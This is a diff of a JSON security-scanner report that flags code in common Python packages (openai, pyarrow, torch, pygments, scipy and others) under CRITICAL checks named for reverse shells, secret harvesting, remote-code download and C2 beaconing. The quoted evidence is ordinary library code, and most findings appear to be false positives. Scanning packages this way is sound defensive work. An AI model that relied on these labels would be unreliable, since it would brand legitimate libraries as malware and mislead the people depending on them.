+      "evidence": "Env: L105:     token = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\") | L150:     environment_token = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\")\nNetwork: L415:         http_client: httpx.Client | None = None, | L531:         http_client: httpx.Client | None = None, | L649:         http_client: httpx.AsyncClient | None = None, | L767:         http_client: httpx.AsyncClient | None = None,",
+      "evidence_hash": "92dbec8ccd79c1e0bc41e93cdd0bdbb091220616c6a1352873196e9dda6bd85c"
     },
     {
       "package": "openai",
       "file": "openai/resources/beta/threads/runs/runs.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L1074: while True:"
+      "evidence": "L1074:         while True: sha256:ef6d59a4a10b73a5af491f10af2885b7a309fda9468eb0f9572d19558d3ceb9f",
+      "evidence_hash": "43c03b55fedcbc980e5e6649c3c4493729128d280cc868349ab9590908ea5f99"
     },
     {
       "package": "openai",
       "file": "openai/resources/realtime/realtime.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L310: while True:"
+      "evidence": "L310:         while True: sha256:458198ff3d3f05870bf98c9564cbfd68c739e57b9bbe4120ed81e3eb6af74a05",
+      "evidence_hash": "a3165d21e46b3ce553795daeae53e8f80e8e89c5cb228e68e6dcaff54bca5a89"
     },
     {
       "package": "openai",
       "file": "openai/resources/responses/responses.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L3803: while True:"
+      "evidence": "L3803:         while True: sha256:1ce0b5a388c747945cdfda1a71b77afdfd03ae840d7aa9fa62f02eb00aa5e29f",
+      "evidence_hash": "6de300ebb5e6e17cb51c89cbcdf08515a44655182f0776f0908a9d1043ebbcd7"
     },
     {
       "package": "openai",
       "file": "openai/resources/vector_stores/file_batches.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L347: while True:"
+      "evidence": "L347:         while True: sha256:604449e8ed433290252fe3f7a48a9e1d8ce46fa148b4ef3037042cc42fdb737b",
+      "evidence_hash": "e6c1e9bb40accffe2d597e875439bab405e51d9e53f1dad87fd276c0d4014981"
     },
     {
       "package": "openai",
       "file": "openai/resources/vector_stores/files.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L376: while True:"
+      "evidence": "L376:         while True: sha256:1bf8d6ef91d4043c98982fb19e5f5685b239a855cd4ff6c11b9b19651d43e944",
+      "evidence_hash": "8d26a3a0ab3d937e6d4f6873fa648c04afc59484122287bc96b1c022ede4065a"
     },
     {
       "package": "openai",
       "file": "openai/resources/videos.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L186: while True:"
+      "evidence": "L186:         while True: sha256:e48be2f193c22eb93024339b9c04fff5dd80c8318708012432df119aef612a41",
+      "evidence_hash": "f1764390bf5e4e55fdedc1f5ec492535f3dd4444f9fb17eb6ce9eaaa010d1a81"
     },
     {
       "package": "protobuf",
       "file": "protobuf-3.19.6-nspkg.pth",
       "check": ".pth has advanced obfuscation (marshal/compile/zlib/__import__)",
       "severity": "CRITICAL",
-      "evidence": "L1: import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('google',));importlib = has_mfs and __import_..."
+      "evidence": "L1: import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('google',));importlib = has_mfs and __import__('importlib.util');has_mfs and __import sha256:233fd2c695435bb5ee9cc00f442153f9dc9901e8a352814c2d23dfd6da0fe70d",
+      "evidence_hash": "7675d9e6d5a180ae22e00fb0ca8adde65e63adc9751bc7d5bd337238b4ba584c"
     },
     {
       "package": "ptyprocess",
       "file": "ptyprocess/_fork_pty.py",
       "check": "Reverse shell / bind shell pattern",
       "severity": "CRITICAL",
-      "evidence": "L33: os.dup2(child_fd, STDIN_FILENO) | L34: os.dup2(child_fd, STDOUT_FILENO) | L35: os.dup2(child_fd, STDERR_FILENO)"
+      "evidence": "L33:         os.dup2(child_fd, STDIN_FILENO) | L34:         os.dup2(child_fd, STDOUT_FILENO) | L35:         os.dup2(child_fd, STDERR_FILENO)",
+      "evidence_hash": "fd104d50945eb60182d81e988885ec927f3b3abc3758b78bece2cd9d65613926"
     },
     {
       "package": "pyarrow",
       "file": "pyarrow/tests/conftest.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L210: env = os.environ.copy() | L241: env = os.environ.copy() | L267: env = os.environ.copy()\nNetwork: L24: import urllib.request | L203: resp = urllib.request.urlopen(f\"http://{address}/minio/health/live\")"
+      "evidence": "Env: L210:     env = os.environ.copy() | L241:     env = os.environ.copy() | L267:     env = os.environ.copy()\nNetwork: L24: import urllib.request | L203:         resp = urllib.request.urlopen(f\"http://{address}/minio/health/live\")",
+      "evidence_hash": "8819f266bbf0cb7cdd5a0a491b83b79fb5eefc132b77d2f4b080dfda8ac32514"
     },
     {
       "package": "pyarrow",
       "file": "pyarrow/tests/test_extension_type.py",
       "check": "base64 decode + subprocess execution (staged payload)",
       "severity": "CRITICAL",
-      "evidence": "Base64: L1065: decoded_schema = base64.b64decode(meta.metadata[b\"ARROW:schema\"])\nSubprocess: L1350: subprocess.check_call([sys.executable, 'setup.py',"
+      "evidence": "Base64: L1065:     decoded_schema = base64.b64decode(meta.metadata[b\"ARROW:schema\"])\nSubprocess: L1350:         subprocess.check_call([sys.executable, 'setup.py',\nL1351:                                'build_ext', '--inplace'],\nL1352:                               env=subprocess_env)",
+      "evidence_hash": "83d7a4cf32639e44b3a7923c5ca68bdf5488ffccf32bc0992821e45680a145a5"
     },
     {
       "package": "pyarrow",
       "file": "pyarrow/tests/test_flight.py",
       "check": "base64 decode + subprocess execution (staged payload)",
       "severity": "CRITICAL",
-      "evidence": "Base64: L592: token = base64.b64decode(token) | L692: decoded = base64.b64decode(values[1])\nSubprocess: L2674: res = subprocess.run([sys.executable, \"-c\", code], env=env,"
+      "evidence": "Base64: L592:         token = base64.b64decode(token) | L692:             decoded = base64.b64decode(values[1])\nSubprocess: L2674:     res = subprocess.run([sys.executable, \"-c\", code], env=env,\nL2675:                          capture_output=True)",
+      "evidence_hash": "8b353712547a31cb704343cc04b2faa25b5cf5850c59a8f7866baeb28f6ec317"
     },
     {
       "package": "pyarrow",
       "file": "pyarrow/tests/test_orc.py",
       "check": "Writes to /tmp and executes (staged dropper)",
       "severity": "CRITICAL",
-      "evidence": "L154: os.environ['TZDIR'] = '/tmp/non_existent'"
+      "evidence": "L154:         os.environ['TZDIR'] = '/tmp/non_existent' sha256:d41f7ed866d91fe7b45dfdb557b81bb9c2a05101cf28cd7d39d8aa6faf249b00",
+      "evidence_hash": "4570f9f31ee6a90906e1074fa1877dcf0c8e061a0b83dec089da25b61071133c"
     },
     {
       "package": "pyarrow",
       "file": "pyarrow/tests/util.py",
       "check": "Reverse shell / bind shell pattern",
       "severity": "CRITICAL",
-      "evidence": "L30: import socket"
+      "evidence": "L30: import socket sha256:5a5d71dfd22906b5dc8b1514316391e05a865f2c94c20dcc96683963f48106f7",
+      "evidence_hash": "76caefdfe4ac470f26379f05238b2dbfd62a864b8cd43e2392f228264cb1de85"
     },
     {
       "package": "pyarrow",
       "file": "pyarrow/util.py",
       "check": "Creates archive with sensitive data AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Archive: L293: tarfile.open(tzdata_compressed_path).extractall(tzdata_path)\nNetwork: L198: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | L234: from urllib.request import urlopen, Request | L236: with urlopen(req) as response:"
+      "evidence": "Archive: L293:     tarfile.open(tzdata_compressed_path).extractall(tzdata_path)\nNetwork: L198:     sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | L234:     from urllib.request import urlopen, Request | L236:     with urlopen(req) as response: | L243:     with requests.get(url) as response:",
+      "evidence_hash": "f231aaa341028cecb8fb2e183ea401dc08826facf3b18e8f733d653f6cad8d9e"
     },
     {
       "package": "pygments",
       "file": "pygments/formatters/__init__.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L103: exec(f.read(), custom_namespace)"
+      "evidence": "L103:             exec(f.read(), custom_namespace)",
+      "evidence_hash": "b767963474babbcfef5652eb7528d34dd9e17efa2aa0d2cef63d809ea4ad0f83"
     },
     {
       "package": "pygments",
       "file": "pygments/lexers/__init__.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L154: exec(f.read(), custom_namespace)"
+      "evidence": "L154:             exec(f.read(), custom_namespace)",
+      "evidence_hash": "b767963474babbcfef5652eb7528d34dd9e17efa2aa0d2cef63d809ea4ad0f83"
     },
     {
       "package": "pygments",
       "file": "pygments/lexers/_mysql_builtins.py",
       "check": "Enumerates filesystem AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "FS: L792: 'history',\nNetwork: L1285: from urllib.request import urlopen | L1297: lex_file = urlopen(LEX_URL).read().decode('utf8', errors='ignore') | L1303: item_create_file = urlopen(ITEM_CREATE_URL).read().decode('utf8', errors='ignore')"
+      "evidence": "FS: L792:     'history', sha256:7c4e519af214f72bf45d4dcfa6a90aa96d2ffd5d1b76b244998110077a946fd2\nNetwork: L1285:     from urllib.request import urlopen | L1297:         lex_file = urlopen(LEX_URL).read().decode('utf8', errors='ignore') | L1303:         item_create_file = urlopen(ITEM_CREATE_URL).read().decode('utf8', errors='ignore')",
+      "evidence_hash": "b379f7d1fc3d64911722a7082237ed225c874240cf388c07120b8cdaace16114"
     },
     {
       "package": "pygments",
       "file": "pygments/lexers/_php_builtins.py",
       "check": "Creates archive with sensitive data AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Archive: L3300: with tarfile.open(download[0]) as tar:\nNetwork: L3255: from urllib.request import urlretrieve"
+      "evidence": "Archive: L3300:         with tarfile.open(download[0]) as tar:\nNetwork: L3255:     from urllib.request import urlretrieve",
+      "evidence_hash": "4b893b3eb4125c9ec6bbda983f5fbddde68a89552d29113d58b3c22b1905b582"
     },
     {
       "package": "pyperclip",
       "file": "pyperclip/__init__.py",
       "check": "base64 decode + subprocess execution (staged payload)",
       "severity": "CRITICAL",
-      "evidence": "Base64: L488: decoded_bytes = base64.b64decode(base64_encoded)\nSubprocess: L80: return subprocess.call(['which', name], | L100: p = subprocess.Popen(['pbcopy', 'w'], | L105: p = subprocess.Popen(['pbpaste', 'r'],"
+      "evidence": "Base64: L488:             decoded_bytes = base64.b64decode(base64_encoded)\nSubprocess: L80:         return subprocess.call(['which', name],\nL81:                             stdout=subprocess.PIPE, stderr=subprocess.PIPE) == 0 | L100:         p = subprocess.Popen(['pbcopy', 'w'],\nL101:                              stdin=subprocess.PIPE, close_fds=True) | L105:         p = subprocess.Popen(['pbpaste', 'r'],\nL106:                              stdout=subprocess.PIPE, close_fds=True) | L167:         p = subprocess.Popen(['xclip', '-selection', selection],\nL168:                              stdin=subprocess.PIPE, close_fds=True) | L175:         p = subprocess.Popen(['xclip', '-selection', selection, '-o'],\nL176:                              stdout=subprocess.PIPE,\nL177:                              stderr=subprocess.PIPE,\nL178:                              close_fds=True) | L195:         p = subprocess.Popen(['xsel', selection_flag, '-i'],\nL196:                              stdin=subprocess.PIPE, close_fds=True) | L203:         p = subprocess.Popen(['xsel', selection_flag, '-o'],\nL204:                              stdout=subprocess.PIPE, close_fds=True) | L221:             subprocess.check_call(args, close_fds=True) | L224:             p = subprocess.Popen(args, stdin=subprocess.PIPE, close_fds=True) | L231:         p = subprocess.Popen(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=True) | L241:         p = subprocess.Popen(\nL242:             ['qdbus', 'org.kde.klipper', '/klipper', 'setClipboardContents',\nL243:              text.encode(ENCODING)],\nL244:             stdin=subprocess.PIPE, close_fds=True) | L248:         p = subprocess.Popen(\nL249:             ['qdbus', 'org.kde.klipper', '/klipper', 'getClipboardContents'],\nL250:             stdout=subprocess.PIPE, close_fds=True) | L469:         p = subprocess.Popen(['clip.exe'],\nL470:                              stdin=subprocess.PIPE, close_fds=True) | L477:         p = subprocess.Popen(['powershell.exe', '-noprofile', '-command', ps_script],\nL478:                              stdout=subprocess.PIPE,\nL479:                              stderr=subprocess.PIPE,\nL480:                              close_fds=True)",
+      "evidence_hash": "a6c17529beeffa4140f293b36de643bb48d5c4095151573e599840d22e31664f"
     },
     {
       "package": "python-dateutil",
       "file": "dateutil/__init__.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L16: return importlib.import_module(\".\" + name, __name__)"
+      "evidence": "L16:         return importlib.import_module(\".\" + name, __name__)",
+      "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a"
     },
     {
       "package": "rich",
       "file": "rich/ansi.py",
       "check": "Reverse shell / bind shell pattern",
       "severity": "CRITICAL",
-      "evidence": "L229: pty.spawn(sys.argv[1:], read)"
+      "evidence": "L229:     pty.spawn(sys.argv[1:], read)",
+      "evidence_hash": "7aa3b73533776987582edff045267f71b62040823c62b66bd40bef2b744b3ed4"
     },
     {
       "package": "rich",
       "file": "rich/console.py",
       "check": "Reverse shell / bind shell pattern",
       "severity": "CRITICAL",
-      "evidence": "L2041: os.dup2(devnull, sys.stdout.fileno())"
+      "evidence": "L2041:         os.dup2(devnull, sys.stdout.fileno())",
+      "evidence_hash": "6ff12ba150358aa0b2756d60df29a7ac9c08e60d0a1ad42157fd30af6e7d50ee"
     },
     {
       "package": "rich-rst",
       "file": "rich_rst/_vendor/docutils/readers/__init__.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L129: module = importlib.import_module('rich_rst._vendor.docutils.readers.'+name)"
+      "evidence": "L129:         module = importlib.import_module('rich_rst._vendor.docutils.readers.'+name)",
+      "evidence_hash": "3910f6c4f0684f9ed611f0c7b0d3b3121f7fa1188186dd22c0f9f0615a137073"
     },
     {
       "package": "rich-rst",
       "file": "rich_rst/_vendor/docutils/writers/__init__.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L271: module = importlib.import_module('rich_rst._vendor.docutils.writers.'+name)"
+      "evidence": "L271:         module = importlib.import_module('rich_rst._vendor.docutils.writers.'+name)",
+      "evidence_hash": "bdc0d6a4e35580266debac3c46b0845a315af192ce8df6fcec9cf01d1aa09106"
     },
     {
       "package": "scikit-learn",
       "file": "sklearn/datasets/_openml.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L100: while True:"
+      "evidence": "L100:             while True: sha256:270363bb66980201e477f9b94886e4023f7a3d21b5ce026b7603a8c249a50c5b",
+      "evidence_hash": "53edbe07c312d459068d38e537b5114e65685ac3d4487b0423fa4542b5df20fe"
+    },
+    {
+      "package": "scikit-learn",
+      "file": "sklearn/datasets/_openml.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L100:             while True: sha256:1f05a1b4fdd843b309634f583cb5e919866ef38ec5aa0b7d8a66ac8820655594",
+      "evidence_hash": "69597a64e5670a0f9a3c2aafc0bde4160f6170a9e2dc38f2c413cfa8d22ad193"
     },
     {
       "package": "scikit-learn",
       "file": "sklearn/externals/array_api_compat/cupy/__init__.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L12: __import__(__package__ + '.linalg') | L13: __import__(__package__ + '.fft')"
+      "evidence": "L10: __import__(__package__ + '.linalg') | L11: __import__(__package__ + '.fft')",
+      "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8"
     },
     {
       "package": "scikit-learn",
       "file": "sklearn/externals/array_api_compat/dask/array/__init__.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L16: __import__(__package__ + '.linalg') | L17: __import__(__package__ + '.fft')"
+      "evidence": "L11: __import__(__package__ + '.linalg') | L12: __import__(__package__ + '.fft')",
+      "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8"
     },
     {
       "package": "scikit-learn",
       "file": "sklearn/externals/array_api_compat/numpy/__init__.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L23: __import__(__package__ + \".linalg\") | L25: __import__(__package__ + \".fft\")"
+      "evidence": "L22: __import__(__package__ + \".linalg\") | L24: __import__(__package__ + \".fft\")",
+      "evidence_hash": "2b68d103ce6c59e6ee2017226c87c8c8bb43c60f8f195e75662d3da8981dd159"
     },
     {
       "package": "scikit-learn",
       "file": "sklearn/externals/array_api_compat/torch/__init__.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L13: __import__(__package__ + '.linalg') | L14: __import__(__package__ + '.fft')"
+      "evidence": "L19: __import__(__package__ + '.linalg') | L20: __import__(__package__ + '.fft')",
+      "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8"
     },
     {
       "package": "scikit-learn",
       "file": "sklearn/svm/tests/test_svm.py",
       "check": "Reverse shell / bind shell pattern",
       "severity": "CRITICAL",
-      "evidence": "L1040: os.dup2(os.pipe()[1], 1) | L1047: os.dup2(stdout, 1)"
-    },
-    {
-      "package": "scipy",
-      "file": "scipy/_lib/array_api_compat/cupy/__init__.py",
-      "check": "Downloads and executes remote code",
-      "severity": "CRITICAL",
-      "evidence": "L12: __import__(__package__ + '.linalg') | L13: __import__(__package__ + '.fft')"
-    },
-    {
-      "package": "scipy",
-      "file": "scipy/_lib/array_api_compat/dask/array/__init__.py",
-      "check": "Downloads and executes remote code",
-      "severity": "CRITICAL",
-      "evidence": "L16: __import__(__package__ + '.linalg') | L17: __import__(__package__ + '.fft')"
-    },
-    {
-      "package": "scipy",
-      "file": "scipy/_lib/array_api_compat/numpy/__init__.py",
-      "check": "Downloads and executes remote code",
-      "severity": "CRITICAL",
-      "evidence": "L23: __import__(__package__ + \".linalg\") | L25: __import__(__package__ + \".fft\")"
-    },
-    {
-      "package": "scipy",
-      "file": "scipy/_lib/array_api_compat/torch/__init__.py",
-      "check": "Downloads and executes remote code",
-      "severity": "CRITICAL",
-      "evidence": "L13: __import__(__package__ + '.linalg') | L14: __import__(__package__ + '.fft')"
+      "evidence": "L980:     os.dup2(os.pipe()[1], 1) | L987:     os.dup2(stdout, 1)",
+      "evidence_hash": "a4b97d799d5de94c1d9a8df1cfc0f862fc64fea5c3ccd06116a37a5fcbe9f653"
     },
     {
       "package": "scipy",
       "file": "scipy/_external/array_api_compat/cupy/__init__.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L12: __import__(__package__ + '.linalg') | L13: __import__(__package__ + '.fft')"
+      "evidence": "L12: __import__(__package__ + '.linalg') | L13: __import__(__package__ + '.fft')",
+      "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8"
     },
     {
       "package": "scipy",
       "file": "scipy/_external/array_api_compat/dask/array/__init__.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L16: __import__(__package__ + '.linalg') | L17: __import__(__package__ + '.fft')"
+      "evidence": "L16: __import__(__package__ + '.linalg') | L17: __import__(__package__ + '.fft')",
+      "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8"
     },
     {
       "package": "scipy",
       "file": "scipy/_external/array_api_compat/numpy/__init__.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L23: __import__(__package__ + \".linalg\") | L25: __import__(__package__ + \".fft\")"
+      "evidence": "L23: __import__(__package__ + \".linalg\") | L25: __import__(__package__ + \".fft\")",
+      "evidence_hash": "2b68d103ce6c59e6ee2017226c87c8c8bb43c60f8f195e75662d3da8981dd159"
     },
     {
       "package": "scipy",
       "file": "scipy/_external/array_api_compat/torch/__init__.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L13: __import__(__package__ + '.linalg') | L14: __import__(__package__ + '.fft')"
+      "evidence": "L13: __import__(__package__ + '.linalg') | L14: __import__(__package__ + '.fft')",
+      "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8"
     },
     {
       "package": "sentencepiece",
       "file": "sentencepiece/__init__.py",
       "check": "Reverse shell / bind shell pattern",
       "severity": "CRITICAL",
-      "evidence": "L1221: os.dup2(self.ostream.fileno(), self.orig_stream_fileno) | L1226: os.dup2(self.orig_stream_dup, self.orig_stream_fileno)"
+      "evidence": "L1221:       os.dup2(self.ostream.fileno(), self.orig_stream_fileno) | L1226:       os.dup2(self.orig_stream_dup, self.orig_stream_fileno)",
+      "evidence_hash": "bba233b67f8ea4f0723b2fecaabf56528531bccd77ace836165bf38b47246bcc"
     },
     {
       "package": "setuptools",
       "file": "distutils-precedence.pth",
       "check": ".pth has advanced obfuscation (marshal/compile/zlib/__import__)",
       "severity": "CRITICAL",
-      "evidence": "L1: import os; var = 'SETUPTOOLS_USE_DISTUTILS'; enabled = os.environ.get(var, 'local') == 'local'; enabled and __import__('_distutils_hack').add_shim();"
+      "evidence": "L1: import os; var = 'SETUPTOOLS_USE_DISTUTILS'; enabled = os.environ.get(var, 'local') == 'local'; enabled and __import__('_distutils_hack').add_shim();",
+      "evidence_hash": "2f70c2fa9227e9db9348215d9c7b246d2786aac7516f86d71a5952c7c225aa16"
     },
     {
       "package": "setuptools",
       "file": "setuptools/_distutils/tests/test_build_ext.py",
       "check": "Writes to /tmp and executes (staged dropper)",
       "severity": "CRITICAL",
-      "evidence": "L115: shutil.copyfile(libz_so[-1], '/tmp/libxx_z.so')"
+      "evidence": "L115:                 shutil.copyfile(libz_so[-1], '/tmp/libxx_z.so') sha256:bef4914cda18bd0d231ab5481953dcf1ed3f2d7589a3a1de35be40435fbae5b9",
+      "evidence_hash": "32624628db3d7f0e6d667695033821ee804e4eb941c6fbe0421e997f7e729ad7"
     },
     {
       "package": "setuptools",
       "file": "setuptools/_vendor/jaraco/context/__init__.py",
       "check": "Creates archive with sensitive data AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Archive: L79: with tarfile.open(fileobj=req, mode='r|*') as tf:\nNetwork: L14: import urllib.request | L78: req = urllib.request.urlopen(url)"
+      "evidence": "Archive: L79:         with tarfile.open(fileobj=req, mode='r|*') as tf:\nNetwork: L14: import urllib.request | L78:         req = urllib.request.urlopen(url)",
+      "evidence_hash": "4b7365cdf9279e002a67e13669a1596e5036a3d33eb88152236ff30d8093672c"
     },
     {
       "package": "sympy",
       "file": "sympy/external/importtools.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L154: __import__(module + '.' + submod)"
+      "evidence": "L154:                 __import__(module + '.' + submod)",
+      "evidence_hash": "c08b793301fde50f2369338cceea56329e39c315fc1c177480ef094932182a0b"
     },
     {
       "package": "tiktoken",
       "file": "tiktoken/load.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L38: cache_dir = os.environ[\"TIKTOKEN_CACHE_DIR\"]\nNetwork: L17: resp = requests.get(blobpath)"
+      "evidence": "Env: L38:         cache_dir = os.environ[\"TIKTOKEN_CACHE_DIR\"]\nNetwork: L17:         resp = requests.get(blobpath)",
+      "evidence_hash": "3779e1812928be4f20704ffc40a65b8c45b69a319b39e94d3ad92b4c775eb12d"
     },
     {
       "package": "torch",
       "file": "functorch/dim/magic_trace.py",
       "check": "Writes to /tmp and executes (staged dropper)",
       "severity": "CRITICAL",
-      "evidence": "L15: output: str = \"trace.fxt\", magic_trace_cache: str = \"/tmp/magic-trace\""
+      "evidence": "L15:     output: str = \"trace.fxt\", magic_trace_cache: str = \"/tmp/magic-trace\" sha256:509c96b9721a10fc1df0567da3a366f08ed337b3afa3e57971756bd941da675e",
+      "evidence_hash": "6e64b3ddbb81079049d46dc3bd1024958c71ce0de299cda650720cfd168d5023"
     },
     {
       "package": "torch",
       "file": "torch/_inductor/codecache.py",
       "check": "base64 decode + subprocess execution (staged payload)",
       "severity": "CRITICAL",
-      "evidence": "Base64: L1211: content = base64.b64decode(data)\nSubprocess: L2692: subprocess.run( | L2995: cmd_output = subprocess.run( | L3707: out = subprocess.check_output("
+      "evidence": "Base64: L1211:                     content = base64.b64decode(data)\nSubprocess: L2692:                             subprocess.run(\nL2693:                                 cmd.split(), capture_output=True, text=True, check=True\nL2694:                             ) | L2995:             cmd_output = subprocess.run(\nL2996:                 (\"openssl\", \"sha512\", filename), capture_output=True, text=True\nL2997:             ) | L3707:                         out = subprocess.check_output(\nL3708:                             [\"ldd\", os.path.join(search, file)]\nL3709:                         ) | L3791:             jobs.append(functools.partial(subprocess.check_call, cmd)) | L3876:                     subprocess.check_call(\nL3877:                         shlex.split(halide_cmd_gen.get_command_line())\nL3878:                     ) | L4336:                             subprocess.check_output(\nL4337:                                 cmd_parts, stderr=subprocess.STDOUT, env=os.environ\nL4338:                             ) | L4591:                         output = subprocess.check_output(\nL4592:                             cmd_parts,\nL4593:                             stderr=subprocess.STDOUT,\nL4594:                             text=True,\nL4595:                             env=os.environ,\nL4596:                         )",
+      "evidence_hash": "c09774087b702a6c5d6e2e85d9239c7c241ec938fbe9c0153e8f0b5c0710389b"
     },
     {
       "package": "torch",
       "file": "torch/ao/__init__.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L30: return importlib.import_module(\".\" + name, __name__)"
+      "evidence": "L30:         return importlib.import_module(\".\" + name, __name__)",
+      "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a"
     },
     {
       "package": "torch",
       "file": "torch/ao/nn/__init__.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L34: return importlib.import_module(\".\" + name, __name__)"
+      "evidence": "L34:         return importlib.import_module(\".\" + name, __name__)",
+      "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a"
     },
     {
       "package": "torch",
       "file": "torch/ao/nn/intrinsic/__init__.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L40: return importlib.import_module(\".\" + name, __name__)"
+      "evidence": "L40:         return importlib.import_module(\".\" + name, __name__)",
+      "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a"
     },
     {
       "package": "torch",
       "file": "torch/cuda/_memory_viz.py",
       "check": "Enumerates filesystem AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "FS: L74: if \"history\" in b:\nNetwork: L97: import urllib.request | L101: urllib.request.urlretrieve("
+      "evidence": "FS: L74:     if \"history\" in b: sha256:8537d03f5cf112e0dd4afd03d7928fce66a1b24456ee5b9cf3cd776d1b756c34\nNetwork: L97:         import urllib.request | L101:             urllib.request.urlretrieve(\nL102:                 \"https://raw.githubusercontent.com/brendangregg/FlameGraph/master/flamegraph.pl\",\nL103:                 f.name,\nL104:             )",
+      "evidence_hash": "ee54e444a087560402a5ec3b1412e11c95d44f086108664b74cafb7ebc990d85"
     },
     {
       "package": "torch",
       "file": "torch/distributed/elastic/multiprocessing/redirects.py",
       "check": "Reverse shell / bind shell pattern",
       "severity": "CRITICAL",
-      "evidence": "L218: os.dup2(dst.fileno(), std_fd)"
+      "evidence": "L218:             os.dup2(dst.fileno(), std_fd)",
+      "evidence_hash": "de197e9d0a8e6df32e900b34e6584602dbdb5f555c689825774915e30460446f"
     },
     {
       "package": "torch",
       "file": "torch/hub.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L237: token = os.environ.get(ENV_GITHUB_TOKEN)\nNetwork: L19: from urllib.request import Request, urlopen | L206: with urlopen(f\"https://github.com/{repo_owner}/{repo_name}/tree/main/\"): | L230: with urlopen(url) as r:"
+      "evidence": "Env: L237:     token = os.environ.get(ENV_GITHUB_TOKEN)\nNetwork: L19: from urllib.request import Request, urlopen | L206:             with urlopen(f\"https://github.com/{repo_owner}/{repo_name}/tree/main/\"): | L230:     with urlopen(url) as r: | L749:         with urlopen(req) as u:",
+      "evidence_hash": "95ea712c0e7062aa43f5d6cb18315e8c11f76b3981a585bee53c069998da3704"
     },
     {
       "package": "torch",
       "file": "torch/testing/_internal/common_utils.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L4770: env = os.environ.copy()\nNetwork: L4832: with request.urlopen(url, timeout=15) as f1, open(path, 'wb' if binary else 'w') as f2: | L4850: with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock:"
+      "evidence": "Env: L4770:         env = os.environ.copy()\nNetwork: L4832:         with request.urlopen(url, timeout=15) as f1, open(path, 'wb' if binary else 'w') as f2: | L4850:     with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock:",
+      "evidence_hash": "704a851b9d68c9b885b9e15538bd7e96f03875503b618fe6f126c4438edd7386"
     },
     {
       "package": "torch",
       "file": "torch/testing/_internal/common_utils.py",
       "check": "Reverse shell / bind shell pattern",
       "severity": "CRITICAL",
-      "evidence": "L32: import socket"
+      "evidence": "L32: import socket sha256:89faaaa8bc908e02dad73fd59b2b481fa91189c84b39b556c2766e71d2783bf3",
+      "evidence_hash": "3d23d77ace91812a07cb9508cf352185d154176e8e8c8b9b28fa92cdbcfe0d53"
     },
     {
       "package": "torchvision",
       "file": "torchvision/datasets/utils.py",
       "check": "Creates archive with sensitive data AND makes network calls",
       "severity": "CRITICAL",
